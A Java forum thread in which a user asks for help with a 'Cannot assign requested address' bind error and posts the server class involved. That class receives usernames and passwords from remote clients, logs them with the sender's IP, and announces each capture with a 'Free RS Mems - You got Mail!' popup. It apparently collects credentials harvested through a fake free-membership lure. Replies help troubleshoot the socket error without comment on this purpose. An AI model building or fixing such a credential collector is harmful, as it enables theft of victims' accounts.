Welcome to the Java Programming Forums


The professional, friendly Java community. 21,500 members and growing!


The Java Programming Forums are a community of Java programmers from all around the World. Our members have a wide range of skills and they all have one thing in common: A passion to learn and code Java. We invite beginner Java programmers right through to Java professionals to post here and share your knowledge. Become a part of the community, help others, expand your knowledge of Java and enjoy talking with like minded people. Registration is quick and best of all free. We look forward to meeting you.


>> REGISTER NOW TO START POSTING


Members have full access to the forums. Advertisements are removed for registered users.

Results 1 to 4 of 4

Thread: Cannot assign requested address

  1. #1
    Member
    Join Date
    Jan 2011
    Posts
    88
    Thanks
    6
    Thanked 0 Times in 0 Posts

    Angry Cannot assign requested address

    I'n trying to get this server I wrote running on one of my clients computers but they are getting this error:
    java.net.BindException: Cannot assign requested address: JVM_Bind
            at java.net.DualStackPlainSocketImpl.bind0(Native Method)
            at java.net.DualStackPlainSocketImpl.socketBind(Unknown Source)
            at java.net.AbstractPlainSocketImpl.bind(Unknown Source)
            at java.net.PlainSocketImpl.bind(Unknown Source)
            at java.net.ServerSocket.bind(Unknown Source)
            at java.net.ServerSocket.<init>(Unknown Source)
            at java.net.ServerSocket.<init>(Unknown Source)
            at Server.startServer(Server.java:47)
            at Server.run(Server.java:30)
            at Server.main(Server.java:22)

    From the research I've done on it it seems like the port is being blocked or already in use by another program. I've tried ending all java processes and that didn't work so I rebooted the machine and that didn't work. Lastly I have changed the port several times and over a wide range of ports. That didn't work. My program runs on every computer I have ever tested it on, both windows and linux machines. I'm starting to think that it could be the router?

    Heres my class Server:
    import java.net.*;
    import java.io.*;
     
    import javax.swing.JOptionPane;
    import javax.sound.sampled.LineUnavailableException;
    import javax.sound.sampled.UnsupportedAudioFileException;
     
    public class Server implements Runnable {
     
    	ServerSocket server;
    	Socket client;
    	DataInputStream in;
    	DataOutputStream out;
    	int port = 5555;
    	public static String message1, message2, ip, mac;
     
    	private Writer w = new Writer();
    	private Notify notify = new Notify();
     
    	public static void main(String[] args) throws IOException {
    		Server s = new Server();
    		s.run();
    	}
     
    	@Override
    	public void run() {
    		try {
    			while (true) {
    				try {
    					startServer();
    				} catch (IOException e) {
    					e.printStackTrace();
    				} catch (LineUnavailableException e) {
    					e.printStackTrace();
    				} catch (UnsupportedAudioFileException e) {
    					e.printStackTrace();
    				}
    				Thread.sleep(1000L);
    			}
    		} catch (InterruptedException iex) {
    		}
    	}
     
    	public void startServer() throws IOException, LineUnavailableException, UnsupportedAudioFileException {
    		server = new ServerSocket(port);
    		System.out.println("Writing Server started on port " + port);
    		while (true) {
    		    client = server.accept();
    			ip = getIPAddress(client);
    			//mac = getMacAddress(client);
    			System.out.println("Writing Server: Recived Connection from " + ip);
    			in = new DataInputStream(client.getInputStream());
    			message1 = in.readUTF();
    			message2 = in.readUTF();
    			notify.playSound();
    			System.out.println("Recived - Username: " + message1 + " Password: " + message2);
    			w.writeAccount();
    			w.writeIP();
    			client.close();
    			JOptionPane.showMessageDialog(null, "Username: " + message1 + "\n Password: " + message2 
    				+ "\n IP: " + ip, "Free RS Mems - You got Mail!", JOptionPane.PLAIN_MESSAGE);
    		}
    	}
     
    	public String getIPAddress(Socket client) {
            if (client == null) {
                return "0.0.0.0";
            }
            return client.getInetAddress().getHostAddress();
        }
    }

    Any help or insight would be great!


  2. #2
    Banned
    Join Date
    May 2010
    Location
    North Central Illinois
    Posts
    1,631
    My Mood
    Sleepy
    Thanks
    390
    Thanked 112 Times in 110 Posts

    Default Re: Cannot assign requested address

    It won't even compile for me.

     

    Server.java:19: cannot find symbol
    symbol : class Notify
    location: class Server
    private Notify notify = new Notify();
    ^
    Server.java:18: java.io.Writer is abstract; cannot be instantiated
    private Writer w = new Writer();
    ^
    Server.java:19: cannot find symbol
    symbol : class Notify
    location: class Server
    private Notify notify = new Notify();
    ^
    Server.java:58: cannot find symbol
    symbol : method writeAccount()
    location: class java.io.Writer
    w.writeAccount();
    ^
    Server.java:59: cannot find symbol
    symbol : method writeIP()
    location: class java.io.Writer
    w.writeIP();
    ^
    5 errors




    So you're saying this line is causing the exception you're getting:

    server = new ServerSocket(port);
    Last edited by javapenguin; January 11th, 2012 at 05:32 PM.

  3. #3
    Member
    Join Date
    Jan 2011
    Posts
    88
    Thanks
    6
    Thanked 0 Times in 0 Posts

    Default Re: Cannot assign requested address

    It wont compile because I did not paste all of the classes, and yes.

  4. #4
    Administrator copeg's Avatar
    Join Date
    Oct 2009
    Location
    US
    Posts
    5,320
    Thanks
    181
    Thanked 833 Times in 772 Posts
    Blog Entries
    5

    Default Re: Cannot assign requested address

    Given this seems computer specific, you might want to verify the computer you are trying to run this on is not running any malware/antivirus/or similar software (or even the OS) that is preventing the socket from binding to the port.

Similar Threads

  1. Assistance requested in setting up JAVA environment
    By bobcox in forum File I/O & Other I/O Streams
    Replies: 1
    Last Post: November 2nd, 2011, 10:30 AM
  2. HTTP Status 404-The requested resource is not available.
    By DeViLhUnTeR in forum Java Servlet
    Replies: 2
    Last Post: March 7th, 2011, 01:26 PM
  3. how to assign values to (args) from Jcreator
    By amr in forum What's Wrong With My Code?
    Replies: 2
    Last Post: December 14th, 2010, 03:41 PM
  4. Replies: 2
    Last Post: August 4th, 2009, 11:25 PM
  5. How to assign values from a file to an arraylist of objects?
    By nadman123 in forum Collections and Generics
    Replies: 3
    Last Post: September 15th, 2008, 01:07 PM